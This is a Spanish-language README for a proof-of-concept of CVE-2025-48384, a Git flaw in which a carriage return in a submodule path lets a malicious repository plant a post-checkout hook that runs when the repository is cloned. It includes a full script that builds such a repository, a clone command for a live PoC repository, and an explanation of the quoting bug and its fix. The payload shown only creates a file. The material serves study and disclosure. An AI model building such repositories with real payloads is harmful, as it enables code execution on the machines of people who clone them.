
CVE-2025-48384 PoC
Este repositorio fue creado con fines educativos de seguridad.
Por favor, absténgase de hacer un uso indebido.
Esta vulnerabilidad requiere incluir \r en el nombre del directorio, por lo que
los sistemas Linux/Unix son los afectados.
A continuación se muestran las versiones de Git afectadas.
El RCE también se logra al clonar este repositorio con el siguiente comando.
※ Tenga mucha precaución al ejecutarlo.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
Se ejecutan los comandos dentro del post-checkout del siguiente repositorio de submódulo.
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Creado con referencia a esto. Se han realizado 2 cambios.
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
En primer lugar, en cuanto al motivo por el que se logra el RCE,
esta vulnerabilidad utiliza la función estándar de Git llamada hooks.
Para explicar hooks de forma sencilla,
son "una función que permite ejecutar scripts configurados previamente cuando se produce un evento específico (como un commit)".
Esta vulnerabilidad utiliza el archivo post-checkout dentro de .git, que se ejecuta en el momento del checkout.
Sin embargo, dado que este archivo básicamente solo se puede manejar de forma local,
un atacante no puede intervenir simplemente clonando un repositorio de GitHub.
Ese punto se supera aprovechando el manejo de \r por parte de Git,
y se logra el RCE colocando un archivo post-checkout arbitrario en ./.git/modules/sub/hooks/ de la máquina local.
Se utiliza el manejo de \r por parte de Git.
Siguiendo el proceso de Git, lo explicaré de forma sencilla.
Primero, se usa git clone --recursive {url} para clonar el repositorio remoto de GitHub al entorno local.
(Al añadir --recursive, los submódulos también se clonan al mismo tiempo).
En ese momento, el submódulo de url se expande en el directorio del parámetro path dentro de .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
El nombre del directorio de este parámetro path se manipula como se muestra a continuación.
path = "sub\r"
Además, el nombre del directorio del submódulo dentro del repositorio también se deja como sub\r.
Al ejecutar git clone --recursive de esta manera,
se intenta expandir el submódulo desde url en el directorio sub\r, siguiendo el path de .gitmodules.
(Si no existe un directorio en el path de .gitmodules, no se realiza la expansión del submódulo).
Sin embargo, Git no consulta el valor de path de .gitmodules para el destino final de expansión del submódulo.
Lo que se consulta al final es un parámetro llamado worktree dentro de .git/modules/sub/config.
Este parámetro se escribe basándose en el valor de path de .gitmodules.
Esta escritura es importante.
Cuando path = "sub\r" se escribe en worktree dentro de .git/modules/sub/config, queda de la siguiente forma:
[core]
workdir = ../../../sub\r
El punto importante es que no está rodeado de comillas dobles.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
Las comillas dobles solo se añaden cuando hay un espacio en una posición específica,
o cuando hay un ; o # en cualquier posición;
en el caso de \r, no se añaden comillas dobles.
Cuando no está rodeado de comillas dobles, Git no evalúa el \r final.
Por lo tanto, el destino de expansión del submódulo se convierte en ../../../sub.
Como el nombre del submódulo es sub\r, es posible crear un archivo de cualquier forma con el nombre sub (no hay conflicto de nombres).
Aquí se coloca un enlace simbólico y se cambia el destino de expansión del submódulo a ./.git/modules/sub/hooks/.
sub -> .git/modules/sub/hooks
El post-checkout, que es el archivo de script del atacante colocado dentro del submódulo,
puede ubicarse en ./.git/modules/sub/hooks/ de la máquina local de la víctima, y se ejecutará en el momento del checkout.
Este ataque se logra porque el manejo de \r cambia dentro de Git.
.gitmodules, está entre comillas dobles, por lo que evalúa \r..git/modules/sub/config, no está entre comillas dobles, por lo que no evalúa \r.En las versiones de Git en las que se corrigió esta vulnerabilidad, se ha modificado de la siguiente manera:
(Cambio para rodear con comillas dobles cuando se incluye \r)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
Como vulnerabilidad similar, existe CVE-2024-32002.
Esta vulnerabilidad, en sistemas de archivos que no distinguen entre mayúsculas y minúsculas (como Windows, MacOS),
permite la intervención del atacante en los githooks mediante el uso de enlaces simbólicos, al igual que CVE-2025-48384.
El siguiente artículo es de referencia.
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ Si hay errores de interpretación en el contenido, agradecería que me los indicaran.